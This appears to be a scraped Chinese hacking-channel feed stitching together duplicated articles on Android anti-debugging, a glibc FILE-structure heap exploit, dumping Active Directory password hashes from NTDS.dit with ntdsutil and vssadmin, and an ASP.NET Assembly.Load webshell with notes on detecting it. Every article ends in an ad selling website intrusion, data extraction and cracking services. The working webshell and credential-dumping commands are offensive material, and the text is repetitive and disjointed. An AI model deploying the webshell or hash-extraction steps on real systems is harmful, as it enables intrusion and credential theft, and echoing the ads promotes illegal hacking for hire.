Anti-debugging Skills in APK
Author:超六、曲和
时间相关反调试
通过计算某部分代码的执行时间差来判断是否被调试,在Linux内核下可以通过time、gettimeofday,或者直接通过sys call来获取当前时间。另外,还可以通过自定义SIGALRM信号来判断程序运行是否超时。
(1)/proc/pid/status、/proc/pid/task/pid/status
在调试状态下,Linux内核会向某些文件写入一些进程状态的信息,比如向/proc/pid/status或/proc/pid/task/pid/status文件的TracerPid字段写入调试进程的pid,在该文件的statue字段中写入t(tracing stop)
(2)/proc/pid/stat、/proc/pid/task/pid/stat
调试状态下/proc/pid/stat、/proc/pid/task/pid/stat文件中第二个字段是t(T)
(3)/proc/pid/wchan、/proc/pid/task/pid/wchan
若进程被调试,也会往/proc/pid/wchan、/proc/pid/task/pid/wchan文件中写入ptrace_stop。
检测端口号
使用IDA动态调试APK时,android_server默认监听23946端口,所以通过检测端口号可以起到一定的反调试作用。具体而言,可以通过检测/proc/net/tcp文件,或者直接system执行命令netstat -apn等。
检测android_server、gdb、gdbserver
在对APK进行动态调试时,可能会打开android_server、gdb、gdbserver等调试相关进程,一般情况下,这几个打开的进程名和文件名相同,所以可以通过运行状态下的进程名来检测这些调试相关进程。具体而言,可以通过打开/proc/pid/cmdline、/proc/pid/statue等文件来获取进程名。当然,这种检测方法非常容易绕过――直接修改android_server、gdb、gdbserver的名字即可。
signal
信号机制在apk调试攻防中有着非常重要的作用,大部分主流加固厂商都会通过信号机制来增加壳的强度。在反调试中最常见的要数SIGTRAP信号了,SIGTRAP原本是调试器设置断点时发出的信号,为了能更好的理解SIGTRAP信号反调试,先让我们看看一下调试器设置断点的原理:
和x86架构类似,arm架构下调试器设置断点先要完成两件事:
保存目标地址上的数据
将目标地址上头几个字节替换成arm/thumb下的breakpoint指令
Arm架构下各类指令集breakpoint机器码如下:
指令集 Breakpoint机器码(little endian)
Arm 0x01, 0x00, 0x9f, 0xef
Thumb 0x01, 0xde
Thumb2 0xf0, 0xf7, 0x00, 0xa0
调试器设置完断点之后程序继续运行,直至命中断点,触发breakpoint,这时程序向操作系统发送SIGTRAP信号。调试器收到SIGTRAP信号后,会继续完成以下几件事:
在目标地址上用原来的指令替换之前的breakpoint指令
回退被跟踪进程的当前pc值
当控制权回到原进程时,pc就恰好指向了断点所在位置,这就是调试器设置断点的基本原理。在知道上述原理之后,再让我们继续分析SIGTRAP反调试的细节,如果我们在程序中间插入一条breakpoint指令,而不做其他处理的话,操作系统会用原来的指令替换breakpoint指令,然而这个breakpoint是我们自定义插入的,该地址上并不存在原指令,所以操作系统就跳过这个步骤,进入下一步回退pc值,即breakpoint的前一条指令。这时就出现问题了,下一条指令还是breakpoint指令,这也就造成了无限循环。
在代码中主动触发breakpoint指令,然后在自定义SIGTRAP handle中将breakpoint替换成nop指令,于是程序可以正常执行完毕。
其中可使用r_debug-r_brk来触发异常,其原理即是用到了linker中一些调试特性。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
Author:超六、曲和
时间相关反调试
通过计算某部分代码的执行时间差来判断是否被调试,在Linux内核下可以通过time、gettimeofday,或者直接通过sys call来获取当前时间。另外,还可以通过自定义SIGALRM信号来判断程序运行是否超时。
(1)/proc/pid/status、/proc/pid/task/pid/status
在调试状态下,Linux内核会向某些文件写入一些进程状态的信息,比如向/proc/pid/status或/proc/pid/task/pid/status文件的TracerPid字段写入调试进程的pid,在该文件的statue字段中写入t(tracing stop)
(2)/proc/pid/stat、/proc/pid/task/pid/stat
调试状态下/proc/pid/stat、/proc/pid/task/pid/stat文件中第二个字段是t(T)
(3)/proc/pid/wchan、/proc/pid/task/pid/wchan
若进程被调试,也会往/proc/pid/wchan、/proc/pid/task/pid/wchan文件中写入ptrace_stop。
检测端口号
使用IDA动态调试APK时,android_server默认监听23946端口,所以通过检测端口号可以起到一定的反调试作用。具体而言,可以通过检测/proc/net/tcp文件,或者直接system执行命令netstat -apn等。
检测android_server、gdb、gdbserver
在对APK进行动态调试时,可能会打开android_server、gdb、gdbserver等调试相关进程,一般情况下,这几个打开的进程名和文件名相同,所以可以通过运行状态下的进程名来检测这些调试相关进程。具体而言,可以通过打开/proc/pid/cmdline、/proc/pid/statue等文件来获取进程名。当然,这种检测方法非常容易绕过――直接修改android_server、gdb、gdbserver的名字即可。
signal
信号机制在apk调试攻防中有着非常重要的作用,大部分主流加固厂商都会通过信号机制来增加壳的强度。在反调试中最常见的要数SIGTRAP信号了,SIGTRAP原本是调试器设置断点时发出的信号,为了能更好的理解SIGTRAP信号反调试,先让我们看看一下调试器设置断点的原理:
和x86架构类似,arm架构下调试器设置断点先要完成两件事:
保存目标地址上的数据
将目标地址上头几个字节替换成arm/thumb下的breakpoint指令
Arm架构下各类指令集breakpoint机器码如下:
指令集 Breakpoint机器码(little endian)
Arm 0x01, 0x00, 0x9f, 0xef
Thumb 0x01, 0xde
Thumb2 0xf0, 0xf7, 0x00, 0xa0
调试器设置完断点之后程序继续运行,直至命中断点,触发breakpoint,这时程序向操作系统发送SIGTRAP信号。调试器收到SIGTRAP信号后,会继续完成以下几件事:
在目标地址上用原来的指令替换之前的breakpoint指令
回退被跟踪进程的当前pc值
当控制权回到原进程时,pc就恰好指向了断点所在位置,这就是调试器设置断点的基本原理。在知道上述原理之后,再让我们继续分析SIGTRAP反调试的细节,如果我们在程序中间插入一条breakpoint指令,而不做其他处理的话,操作系统会用原来的指令替换breakpoint指令,然而这个breakpoint是我们自定义插入的,该地址上并不存在原指令,所以操作系统就跳过这个步骤,进入下一步回退pc值,即breakpoint的前一条指令。这时就出现问题了,下一条指令还是breakpoint指令,这也就造成了无限循环。
char dynamic_ccode[] = {0x1f,0xb4, //push {r0-r4}
0x01,0xde, //breakpoint
0x1f,0xbc, //pop {r0-r4}
0xf7,0x46};//mov pc,lr
char *g_addr = 0;
void my_sigtrap(int sig){
char change_bkp[] = {0x00,0x46}; //mov r0,r0
memcpy(g_addr+2,change_bkp,2);
__clear_cache((void*)g_addr,(void*)(g_addr+8)); // need to clear cache
LOGI("chang bpk to nop\n");
}
void anti4(){//SIGTRAP
int ret,size;
char *addr,*tmpaddr;
signal(SIGTRAP,my_sigtrap);
addr = (char*)malloc(PAGESIZE*2);
memset(addr,0,PAGESIZE*2);
g_addr = (char *)(((int) addr + PAGESIZE-1) & ~(PAGESIZE-1));
LOGI("addr: %p ,g_addr : %p\n",addr,g_addr);
ret = mprotect(g_addr,PAGESIZE,PROT_READ|PROT_WRITE|PROT_EXEC);
if(ret!=0)
{
LOGI("mprotect error\n");
return ;
}在代码中主动触发breakpoint指令,然后在自定义SIGTRAP handle中将breakpoint替换成nop指令,于是程序可以正常执行完毕。
其中可使用r_debug-r_brk来触发异常,其原理即是用到了linker中一些调试特性。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
众所周知,由于移除了__malloc_hook/__free_hook/__realloc_hook等等一众hook全局变量,高版本glibc想要劫持程序流,离不开攻击_IO_FILE。
此利用与house of apple、house of cat、house of emma等利用一样,利用了修改虚表指针的方法。主要思路就是修改虚表指针为_IO_obstack_jumps实现攻击。
利用条件
1.任意写一个可控地址或劫持 _IO_list_all。(如large bin attack、tcache stashing unlink attack、fastbin reverse into tcache)
2.能够触发IO流(FSOP或触发__malloc_assert,或者程序中存在puts等能进入IO链的函数),执行IO相关函数。
3.能够泄露堆地址和libc基址。
前置知识
_IO_FILE结构体
源码如下:
当我们对一个文件对象fp进行操作时,往往会使用到_IO_jump_t结构体内某一函数。
_IO_FILE_plus结构体
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
此利用与house of apple、house of cat、house of emma等利用一样,利用了修改虚表指针的方法。主要思路就是修改虚表指针为_IO_obstack_jumps实现攻击。
利用条件
1.任意写一个可控地址或劫持 _IO_list_all。(如large bin attack、tcache stashing unlink attack、fastbin reverse into tcache)
2.能够触发IO流(FSOP或触发__malloc_assert,或者程序中存在puts等能进入IO链的函数),执行IO相关函数。
3.能够泄露堆地址和libc基址。
前置知识
_IO_FILE结构体
源码如下:
struct _IO_FILE {
int _flags;
#define _IO_file_flags _flags
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */#define __HAVE_COLUMN /* temporary */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
当我们对一个文件对象fp进行操作时,往往会使用到_IO_jump_t结构体内某一函数。
_IO_FILE_plus结构体
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
vtable 劫持的检测措施
在 2.24 版本的 glibc 中,全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。
简单来说,如果 vtable 地址是非法的,那么会引发 abort。
原理分析
_IO_obstack_jumps
由上可知,vtable必须合法,我们观察以下vtable。
可以看到,第二个参数要为0,才能正常执行该函数。而_IO_flush_all_lockp进行调用vtable时,rsi往往是0xffffffff
观察该函数,首先获得_IO_obstack_file结构体中的obstack结构体指针作为后面函数运行的参数。然后要绕过fp->_IO_write_ptr + n > fp->_IO_write_end,执行obstack_blank_fast(obstack, fp->_IO_write_ptr - fp->_IO_write_end);
可以看到,当_o->next_free + __len > __o->chunk_limit时,调用_obstack_newchunk,_obstack_newchunk函数源码
可以看到当((h)->use_extra_arg不为0时,调用(*(h)->chunkfun)((h)->extra_arg, (size)),而这也就是我们要利用的点。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
在 2.24 版本的 glibc 中,全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。
简单来说,如果 vtable 地址是非法的,那么会引发 abort。
原理分析
_IO_obstack_jumps
由上可知,vtable必须合法,我们观察以下vtable。
static int
_IO_obstack_overflow (_IO_FILE *fp, int c)
{
struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;
int size;
/* Make room for another character. This might as well allocate a
new chunk a memory and moves the old contents over. */
assert (c != EOF); //关注这里
obstack_1grow (obstack, c);
/* Setup the buffer pointers again. */
fp->_IO_write_base = obstack_base (obstack);
fp->_IO_write_ptr = obstack_next_free (obstack);
size = obstack_room (obstack);
fp->_IO_write_end = fp->_IO_write_ptr + size;
/* Now allocate the rest of the current chunk. */
obstack_blank_fast (obstack, size);
return c;
}
可以看到,第二个参数要为0,才能正常执行该函数。而_IO_flush_all_lockp进行调用vtable时,rsi往往是0xffffffff
观察该函数,首先获得_IO_obstack_file结构体中的obstack结构体指针作为后面函数运行的参数。然后要绕过fp->_IO_write_ptr + n > fp->_IO_write_end,执行obstack_blank_fast(obstack, fp->_IO_write_ptr - fp->_IO_write_end);
可以看到,当_o->next_free + __len > __o->chunk_limit时,调用_obstack_newchunk,_obstack_newchunk函数源码
可以看到当((h)->use_extra_arg不为0时,调用(*(h)->chunkfun)((h)->extra_arg, (size)),而这也就是我们要利用的点。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
❤1
域内用户Hash获取
在渗透测试的过程中,当我们已经是域管权限时,就可以实现提取所有域内用户的密码哈希以进行离线破解和分析,这是非常常见的一个操作,这些哈希值存储在域控制器(NTDS.DIT)中的数据库文件中,并带有一些其他信息,如用户名、散列值、组、GPP、OU等于活动目录相关的信息,它和SAM文件一样都是被操作系统锁定的,因此无法直接复制到其他位置以提取信息。NTDS.dit文件位于Windows以下位置
NTDS提取
NTDSUTIL
NTDSUTIL是一个命令行工具,它是域控制器生态系统的一部分,其目的是为了使管理员能够访问和管理Windows Active Directory数据库,但是,渗透测试人员和redteam可以用它来拍摄现有ntds.dit文件的快照,该文件可以复制到新位置以进行离线分析和密码哈希的提取
之后在C:\ntdsutil中将生成两个新文件夹:Active Directory和Registry
TDS.DIT文件将保存在Active Directory中
SAM和SYSTEM文件将保存到Registry文件夹中
之后可以使用ntdsdump进行离线提取Hash:
ntdsdump.exe -f ntds.dit -s SYSTEM
ntdsdump.exe <-f ntds.dit> <-k HEX-SYS-KEY | -s system.hiv> [-o out.txt] [-h] [-t JOHN|LC] * -f ntds.dit路径 * -k 可选的十六进制格式的SYSKEY * -s 可选的system.hiv路径 * -h 导出历史密码记录 * -t 导出格式,LC或JOHN * -o 导出到指定文件中 *
vssadmin
vssadmin是WIndows Server 2008和Win 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统Provider创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序等,在内网渗透测试过程中,我们也可以使用vssadminn来提取ntds.dit文件,流程如下:
Step 1:在域控制器中打开命令环境,输入如下命令,创建一个C盘的影卷拷贝:
vssadmin create shadow /for=c:
Step 2:将NTDS.dit和SYSTEM文件从创建的影卷中复制出来
之后可以在C盘中看到成功复制ntds.dit文件
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
在渗透测试的过程中,当我们已经是域管权限时,就可以实现提取所有域内用户的密码哈希以进行离线破解和分析,这是非常常见的一个操作,这些哈希值存储在域控制器(NTDS.DIT)中的数据库文件中,并带有一些其他信息,如用户名、散列值、组、GPP、OU等于活动目录相关的信息,它和SAM文件一样都是被操作系统锁定的,因此无法直接复制到其他位置以提取信息。NTDS.dit文件位于Windows以下位置
C:\Windows\NTDS\NTDS.dit
NTDS提取
NTDSUTIL
NTDSUTIL是一个命令行工具,它是域控制器生态系统的一部分,其目的是为了使管理员能够访问和管理Windows Active Directory数据库,但是,渗透测试人员和redteam可以用它来拍摄现有ntds.dit文件的快照,该文件可以复制到新位置以进行离线分析和密码哈希的提取
ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit
之后在C:\ntdsutil中将生成两个新文件夹:Active Directory和Registry
TDS.DIT文件将保存在Active Directory中
SAM和SYSTEM文件将保存到Registry文件夹中
之后可以使用ntdsdump进行离线提取Hash:
ntdsdump.exe -f ntds.dit -s SYSTEM
ntdsdump.exe <-f ntds.dit> <-k HEX-SYS-KEY | -s system.hiv> [-o out.txt] [-h] [-t JOHN|LC] * -f ntds.dit路径 * -k 可选的十六进制格式的SYSKEY * -s 可选的system.hiv路径 * -h 导出历史密码记录 * -t 导出格式,LC或JOHN * -o 导出到指定文件中 *
vssadmin
vssadmin是WIndows Server 2008和Win 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统Provider创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序等,在内网渗透测试过程中,我们也可以使用vssadminn来提取ntds.dit文件,流程如下:
Step 1:在域控制器中打开命令环境,输入如下命令,创建一个C盘的影卷拷贝:
vssadmin create shadow /for=c:
Step 2:将NTDS.dit和SYSTEM文件从创建的影卷中复制出来
copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit
copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\SYSTEM
之后可以在C盘中看到成功复制ntds.dit文件
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
dump内存检测assembly内容
通过上面的操作我们可以发现一些入侵的痕迹了,但是有个问题,.NET自带的api没有dump assembly内容的操作。攻击者可以把assembly弄一个高度相似的名字来隐藏自己,所以只看名字可能很容易被绕过,那么怎么才能dump出来assembly对应的内容呢。
经过一番查找,我找到了这样一个工具:https://github.com/wwh1004/ExtremeDumper,这个工具本来是用来脱壳解混淆的,但是内置了一个dump module的功能,可以把对应.NET进程加载的assembly给dump出来。
以iis进程为例,首先选中iisexpress.exe,右键View Modules
然后点击Path排序,这样就可以把InMemory的给筛选出来了。
选中对应的module,右键Dump Selected Module,保存到本地,用dnspy打开即可看到其中的Payload了。
后面又简单看了下他的原理:因为.NET二进制格式是以 Windows PE格式为基础的,所以只需要扫内存中的PE头,然后把对应的内存抠出来就可以了。 这样就实现了检测assembly内容的操作。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
通过上面的操作我们可以发现一些入侵的痕迹了,但是有个问题,.NET自带的api没有dump assembly内容的操作。攻击者可以把assembly弄一个高度相似的名字来隐藏自己,所以只看名字可能很容易被绕过,那么怎么才能dump出来assembly对应的内容呢。
经过一番查找,我找到了这样一个工具:https://github.com/wwh1004/ExtremeDumper,这个工具本来是用来脱壳解混淆的,但是内置了一个dump module的功能,可以把对应.NET进程加载的assembly给dump出来。
以iis进程为例,首先选中iisexpress.exe,右键View Modules
然后点击Path排序,这样就可以把InMemory的给筛选出来了。
选中对应的module,右键Dump Selected Module,保存到本地,用dnspy打开即可看到其中的Payload了。
后面又简单看了下他的原理:因为.NET二进制格式是以 Windows PE格式为基础的,所以只需要扫内存中的PE头,然后把对应的内存抠出来就可以了。 这样就实现了检测assembly内容的操作。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
ASP.NET 无文件攻击入侵检测
C# 中的assembly
首先了解一下C#中的assembly(程序集),看看官方文档是怎么描述的:
程序集构成了 .NET 应用程序的部署、版本控制、重用、激活范围和安全权限的基本单元。 程序集是为协同工作而生成的类型和资源的集合,这些类型和资源构成了一个逻辑功能单元。 程序集采用可执行文件 (.exe) 或动态链接库文件 (.dll) 的形式,是 .NET 应用程序的构建基块 。 它们向公共语言运行时提供了注意类型实现代码所需的信息。
在 .NET 和 .NET Framework 中,可从一个或多个源代码文件生成程序集。 在 .NET Framework 中,程序集可以包含一个或多个模块。 因此,大型项目可以采用以下规划:由多个开发者单独开发各源代码文件或模块,最后整合所有这些内容以创建一个程序集。
C# 代码文件编译后生成的程序模块叫做Assembly(程序集)。
程序集是.NET应用程序的 基本单元,一个软件可以是一个程序集,但更多时候是程序集组成的集合。
程序集可以是exe可执行文件,也可以是dll动态链接库文件。动态链接库中没有 Main 方法。
可以使用反射来加载调用。
Assembly Webshell原理
以上我们对Assembly有了个初步的认识:这玩意可以通过反射去加载一个任意的exe或者dll到内存中。跟Java的defineClass相比,Assembly.Load这个api更加强大:因为Java语言本身屏蔽了很多系统层面的api,而C#是微软推出的语言,在Windows平台有天生的优势。另外,程序集可以是一个或者多个程序集的集合,而Java的defineClass一次只能打进去一个类。这也是就为后渗透利用铺好了道路,很多提权exp都可以无文件加载,当然也可以进行无文件勒索等操作。
Java .NET
加载函数 Class.defineClass Assembly.Load
最小单元 Class Assembly
最小单元格式 字节码 PE
单次加载个数 单个类 可以是多个类
语言特性 屏蔽底层API 支持Windows API
之前可以执行任意代码的aspx一句话木马是利用Jscript.net的eval函数来实现的,通过向eval传递Jscript.net源代码来执行任意代码。rebeyond师傅在冰蝎中首次使用了assembly的方式来实现新的.NET一句话木马,扩展了.NET下一句话木马的利用面。
通过上面的"Loader",我们可以往内存中不落地加载一个任意的exe或者dll,那么怎么去检测注入的exe或者dll呢。这部分由浅入深分为三部分来写:
检测落地过的Webshell痕迹
发现assembly执行痕迹
dump出执行的assembly
检测落地过的Webshell痕迹
当未开启预编译时,.net采用动态编译, 也就是说我们常说的build生成的dll只是中间代码,而在web第一次请求的时候才是真正意义上的编译生成二进制代码。这也就是为什么刚编译完第一次打开web页面的时候会比较慢的原因。当我们第一次请求的时候,也就是正式编译的时候,dotnet会写一些临时文件到 %SystemRoot%\Microsoft.NET\Framework\versionNumber\Temporary ASP.NET Files 文件夹下。
当开启预编译时,一般会放在/Bin目录下。
所以当落地的aspx被删除,或者被注入内存马时,依旧可以通过这种方式来发现入侵的痕迹。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
C# 中的assembly
首先了解一下C#中的assembly(程序集),看看官方文档是怎么描述的:
程序集构成了 .NET 应用程序的部署、版本控制、重用、激活范围和安全权限的基本单元。 程序集是为协同工作而生成的类型和资源的集合,这些类型和资源构成了一个逻辑功能单元。 程序集采用可执行文件 (.exe) 或动态链接库文件 (.dll) 的形式,是 .NET 应用程序的构建基块 。 它们向公共语言运行时提供了注意类型实现代码所需的信息。
在 .NET 和 .NET Framework 中,可从一个或多个源代码文件生成程序集。 在 .NET Framework 中,程序集可以包含一个或多个模块。 因此,大型项目可以采用以下规划:由多个开发者单独开发各源代码文件或模块,最后整合所有这些内容以创建一个程序集。
C# 代码文件编译后生成的程序模块叫做Assembly(程序集)。
程序集是.NET应用程序的 基本单元,一个软件可以是一个程序集,但更多时候是程序集组成的集合。
程序集可以是exe可执行文件,也可以是dll动态链接库文件。动态链接库中没有 Main 方法。
可以使用反射来加载调用。
Assembly Webshell原理
以上我们对Assembly有了个初步的认识:这玩意可以通过反射去加载一个任意的exe或者dll到内存中。跟Java的defineClass相比,Assembly.Load这个api更加强大:因为Java语言本身屏蔽了很多系统层面的api,而C#是微软推出的语言,在Windows平台有天生的优势。另外,程序集可以是一个或者多个程序集的集合,而Java的defineClass一次只能打进去一个类。这也是就为后渗透利用铺好了道路,很多提权exp都可以无文件加载,当然也可以进行无文件勒索等操作。
Java .NET
加载函数 Class.defineClass Assembly.Load
最小单元 Class Assembly
最小单元格式 字节码 PE
单次加载个数 单个类 可以是多个类
语言特性 屏蔽底层API 支持Windows API
之前可以执行任意代码的aspx一句话木马是利用Jscript.net的eval函数来实现的,通过向eval传递Jscript.net源代码来执行任意代码。rebeyond师傅在冰蝎中首次使用了assembly的方式来实现新的.NET一句话木马,扩展了.NET下一句话木马的利用面。
<%@ Page Language="c#"%>
<%
String Payload = Request.Form["ant"]; //拿到要加载的payload
if (Payload != null)
{
System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));//反射加载到内存中
assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(Context);//实例化调用,并传入上下文参数。
}
%>
通过上面的"Loader",我们可以往内存中不落地加载一个任意的exe或者dll,那么怎么去检测注入的exe或者dll呢。这部分由浅入深分为三部分来写:
检测落地过的Webshell痕迹
发现assembly执行痕迹
dump出执行的assembly
检测落地过的Webshell痕迹
当未开启预编译时,.net采用动态编译, 也就是说我们常说的build生成的dll只是中间代码,而在web第一次请求的时候才是真正意义上的编译生成二进制代码。这也就是为什么刚编译完第一次打开web页面的时候会比较慢的原因。当我们第一次请求的时候,也就是正式编译的时候,dotnet会写一些临时文件到 %SystemRoot%\Microsoft.NET\Framework\versionNumber\Temporary ASP.NET Files 文件夹下。
当开启预编译时,一般会放在/Bin目录下。
所以当落地的aspx被删除,或者被注入内存马时,依旧可以通过这种方式来发现入侵的痕迹。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke